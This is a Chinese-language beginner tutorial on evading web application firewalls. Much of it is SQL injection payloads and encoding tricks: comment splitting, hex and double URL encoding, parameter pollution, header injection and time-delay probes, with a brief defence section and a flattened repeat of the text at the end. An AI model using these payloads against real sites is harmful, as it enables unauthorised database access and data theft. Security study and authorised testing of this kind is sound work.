Bypass WAF (小白食用)
字数 1039 2025-08-19 12:40:39

Bypass WAF 技术详解与实战思路

前言:绕过WAF的核心思想

绕过WAF(Web应用防火墙)的关键在于理解WAF的工作原理而非简单套用现成方法。WAF通常基于规则匹配和异常检测,绕过它们的核心思路是:

  1. 变形攻击载荷:使攻击字符串不被规则匹配
  2. 利用协议特性:HTTP协议和中间件解析的差异
  3. 混淆技术:使攻击代码看起来无害
  4. 逻辑绕过:利用WAF检测逻辑的盲区

一、基础绕过技术

1. 大小写混合绕过

SeLeCt * from users where id=1
  • 原理:部分WAF规则只匹配全小写或全大写的敏感词
  • 变体:随机大小写组合效果更佳

2. 内联注释绕过

/*!SELECT*/ * from users where id=1
  • MySQL特性:/*!...*/中的内容会被MySQL执行
  • 可嵌套使用:SEL/*xxx*/ECT

3. 等价替换技术

1 AND 1=1    1 && 1=1
1 OR 1=1     1 || 1=1
  • 注意不同数据库的运算符差异

4. 空白符变异

SELECT/**/*/**/FROM/**/users
  • 有效空白符:普通空格、制表符、换行符、注释符
  • 特殊空白符:%09(tab)、%0A(换行)、%0D(回车)、%0B(垂直tab)、%A0(不换行空格)

二、高级混淆技术

1. 十六进制编码

SELECT * FROM users WHERE username=0x61646D696E
  • 适用于字符串和整型
  • 可部分编码:SELECx54 * FROM users

2. Unicode规范化绕过

SELECT * FROM users  -- 全角字符
SEL%E1%83%A5T * FROM users  -- Unicode编码
  • 利用字符的多形式表示

3. 注释分割法

SEL/*xxxxxx*/ECT/*aaaaa*/user/*bbbbb*/name/*ccccc*/FROM/*ddddd*/users
  • 关键:注释内容无规律且长度可变

4. 多重编码技术

%2527  -- 双重URL编码单引号
%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65  -- admin的二次编码

三、协议层绕过

1. HTTP参数污染(HPP)

?id=1&id=SELECT * FROM users
  • 不同服务器对重复参数的处理不同:
    • Apache: 取最后一个
    • IIS: 取第一个
    • JSP: 拼接成数组

2. HTTP参数分块

Transfer-Encoding: chunked
POST数据使用分块编码传输

3. 请求方式变异

GET请求改为POST
POST请求改为PUT/DELETE
Content-Type切换:application/json → text/xml

4. 边界符绕过

filename="test.php .jpg"  -- 利用解析差异
filename=test.p\x68p

四、数据库特性利用

MySQL特有绕过

SELECT{x 1}name{x 2}FROM{x 3}users
SELECT`name`FROM`users`

MSSQL特有绕过

EXEC('SELECT * FROM users')
DECLARE @q VARCHAR(100);SET @q=0x73656C656374202A2066726F6D207573657273;EXEC(@q)

Oracle特有绕过

SELECT CHR(65)||CHR(66)||CHR(67) FROM dual

五、WAF逻辑盲区

1. 超长数据绕过

id=1 and 1=1xxxxxxxx...[1000+个字符]...xxx
  • 部分WAF对超长参数检测不完整

2. 非常规参数位置

Cookie: user=admin' AND 1=1--
X-Forwarded-For: 127.0.0.1' AND SLEEP(5)--

3. 时间延迟探测

?id=1 AND IF(1=1,SLEEP(5),0)
?id=1;WAITFOR DELAY '0:0:5'--

六、综合绕过思路

1. 多技术组合

/*!UNIon*/ /*!SeleCT*/ 1,2,3,CONCAT(CHAR(104,101,108,108,111),/*!77777FLOOR(RAND(0)*2)*/)

2. 分阶段攻击

  1. 先探测WAF过滤规则
  2. 确定被过滤的关键词
  3. 设计绕过方案
  4. 逐步验证

3. 上下文感知绕过

  • 根据返回错误信息调整payload
  • 观察WAF拦截日志(如有)
  • 利用网站正常功能作为掩护

七、防御措施与检测

WAF防御策略

  1. 规范化输入数据
  2. 多层级检测(语法+语义)
  3. 机器学习行为分析
  4. 定期更新规则库

检测WAF存在

1. 发送恶意请求观察响应
2. 测试各种边界情况
3. 分析HTTP头信息
4. 时间延迟探测

结语

绕过WAF的核心在于理解系统如何解析你的输入而非死记硬背payload。每个WAF的实现和规则都不同,需要根据实际情况灵活调整策略。建议通过合法授权的方式练习这些技术,真正掌握Web安全防护的精髓。

Bypass WAF 技术详解与实战思路 前言:绕过WAF的核心思想 绕过WAF(Web应用防火墙)的关键在于理解WAF的工作原理而非简单套用现成方法。WAF通常基于规则匹配和异常检测,绕过它们的核心思路是: 变形攻击载荷 :使攻击字符串不被规则匹配 利用协议特性 :HTTP协议和中间件解析的差异 混淆技术 :使攻击代码看起来无害 逻辑绕过 :利用WAF检测逻辑的盲区 一、基础绕过技术 1. 大小写混合绕过 原理:部分WAF规则只匹配全小写或全大写的敏感词 变体:随机大小写组合效果更佳 2. 内联注释绕过 MySQL特性: /*!...*/ 中的内容会被MySQL执行 可嵌套使用: SEL/*xxx*/ECT 3. 等价替换技术 注意不同数据库的运算符差异 4. 空白符变异 有效空白符:普通空格、制表符、换行符、注释符 特殊空白符: %09 (tab)、 %0A (换行)、 %0D (回车)、 %0B (垂直tab)、 %A0 (不换行空格) 二、高级混淆技术 1. 十六进制编码 适用于字符串和整型 可部分编码: SELECx54 * FROM users 2. Unicode规范化绕过 利用字符的多形式表示 3. 注释分割法 关键:注释内容无规律且长度可变 4. 多重编码技术 三、协议层绕过 1. HTTP参数污染(HPP) 不同服务器对重复参数的处理不同: Apache: 取最后一个 IIS: 取第一个 JSP: 拼接成数组 2. HTTP参数分块 3. 请求方式变异 4. 边界符绕过 四、数据库特性利用 MySQL特有绕过 MSSQL特有绕过 Oracle特有绕过 五、WAF逻辑盲区 1. 超长数据绕过 部分WAF对超长参数检测不完整 2. 非常规参数位置 3. 时间延迟探测 六、综合绕过思路 1. 多技术组合 2. 分阶段攻击 先探测WAF过滤规则 确定被过滤的关键词 设计绕过方案 逐步验证 3. 上下文感知绕过 根据返回错误信息调整payload 观察WAF拦截日志(如有) 利用网站正常功能作为掩护 七、防御措施与检测 WAF防御策略 规范化输入数据 多层级检测(语法+语义) 机器学习行为分析 定期更新规则库 检测WAF存在 结语 绕过WAF的核心在于 理解系统如何解析你的输入 而非死记硬背payload。每个WAF的实现和规则都不同,需要根据实际情况灵活调整策略。建议通过合法授权的方式练习这些技术,真正掌握Web安全防护的精髓。